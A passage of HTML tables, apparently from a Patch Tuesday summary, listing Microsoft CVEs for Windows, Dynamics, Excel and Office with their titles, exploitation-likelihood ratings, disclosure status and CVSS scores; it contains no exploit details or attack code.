href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54125">CVE-2026-54125</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50373">CVE-2026-50373</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44806">CVE-2026-44806</a></td><td><p>Windows Secure Channel Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50681">CVE-2026-50681</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56186">CVE-2026-56186</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42982">CVE-2026-42982</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50694">CVE-2026-50694</a></td><td><p>Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50367">CVE-2026-50367</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58619">CVE-2026-58619</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50311">CVE-2026-50311</a></td><td><p>Windows Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50444"><br>CVE-2026-50444</a></td><td><p>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50328">CVE-2026-50328</a></td><td><p>Windows Server Update Service (WSUS) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58531">CVE-2026-58531</a></td><td><p>Windows SMB Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54997">CVE-2026-54997</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49801">CVE-2026-49801</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50690">CVE-2026-50690</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56168">CVE-2026-56168</a></td><td><p>Windows SMB Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50360">CVE-2026-50360</a></td><td><p>Windows SMB Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57089">CVE-2026-57089</a></td><td><p>Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50333">CVE-2026-50333</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50298">CVE-2026-50298</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49171">CVE-2026-49171</a></td><td><p>Windows Speech Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49170">CVE-2026-49170</a></td><td><p>Windows StateRepository API Server file Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58526">CVE-2026-58526</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50299">CVE-2026-50299</a></td><td><p>Windows Storage Spaces Direct Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50306">CVE-2026-50306</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50307">CVE-2026-50307</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49177">CVE-2026-49177</a></td><td><p>Windows TCP/IP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54999">CVE-2026-54999</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50669">CVE-2026-50669</a></td><td><p>Windows Telephony Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50350">CVE-2026-50350</a></td><td><p>Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50326">CVE-2026-50326</a></td><td><p>Windows Unified Consent System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49790">CVE-2026-49790</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50498">CVE-2026-50498</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58547">CVE-2026-58547</a></td><td><p>Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49794">CVE-2026-49794</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50453">CVE-2026-50453</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58528">CVE-2026-58528</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50321">CVE-2026-50321</a></td><td><p>Windows USB Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50479">CVE-2026-50479</a></td><td><p>Windows USB Hub Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49804">CVE-2026-49804</a></td><td><p>Windows USB Video Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49176">CVE-2026-49176</a></td><td><p>Windows WalletService Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49800">CVE-2026-49800</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50480">CVE-2026-50480</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56173">CVE-2026-56173</a></td><td><p>Windows WebView Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58632">CVE-2026-58632</a></td><td><p>Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54107">CVE-2026-54107</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54986">CVE-2026-54986</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54112">CVE-2026-54112</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54114">CVE-2026-54114</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50670">CVE-2026-50670</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50688">CVE-2026-50688</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56176">CVE-2026-56176</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58628">CVE-2026-58628</a></td><td><p>Windows Wireless Network Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50509">CVE-2026-50509</a></td><td><p>Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Microsoft Dynamics vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55944">CVE-2026-55944</a></td><td><p>Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><h3>Microsoft Office vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50678">CVE-2026-50678</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54988">CVE-2026-54988</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48580">CVE-2026-48580</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50408">CVE-2026-50408</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55046">CVE-2026-55046</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55138">CVE-2026-55138</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55054">CVE-2026-55054</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55122">CVE-2026-55122</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55898">CVE-2026-55898</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50675">CVE-2026-50675</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55899">CVE-2026-55899</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55948">CVE-2026-55948</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58618">CVE-2026-58618</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47642">CVE-2026-47642</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55024">CVE-2026-55024</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55025">CVE-2026-55025</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55031">CVE-2026-55031</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55048">CVE-2026-55048</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55029">CVE-2026-55029</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55039">CVE-2026-55039</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55041">CVE-2026-55041</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55136">CVE-2026-55136</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55141">CVE-2026-55141</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55036">CVE-2026-55036</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55044">CVE-2026-55044</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55037">CVE-2026-55037</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55058">CVE-2026-55058</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55137">CVE-2026-55137</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55053">CVE-2026-55053</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55131">CVE-2026-55131</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54131">CVE-2026-54131</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55947">CVE-2026-55947</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55949">CVE-2026-55949</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56156">CVE-2026-56156</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56193">CVE-2026-56193</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55023">CVE-2026-55023</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55026">CVE-2026-55026</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55027">CVE-2026-55027</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55028">CVE-2026-55028</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55047">CVE-2026-55047</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55035">CVE-2026-55035</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55057">CVE-2026-55057</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55042">CVE-2026-55042</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55139">CVE-2026-55139</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50665">CVE-2026-50665</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56192">CVE-2026-56192</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56195">CVE-2026-56195</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55121">CVE-2026-55121</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47290">CVE-2026-47290</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50301">CVE-2026-50301</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50314">CVE-2026-50314</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a 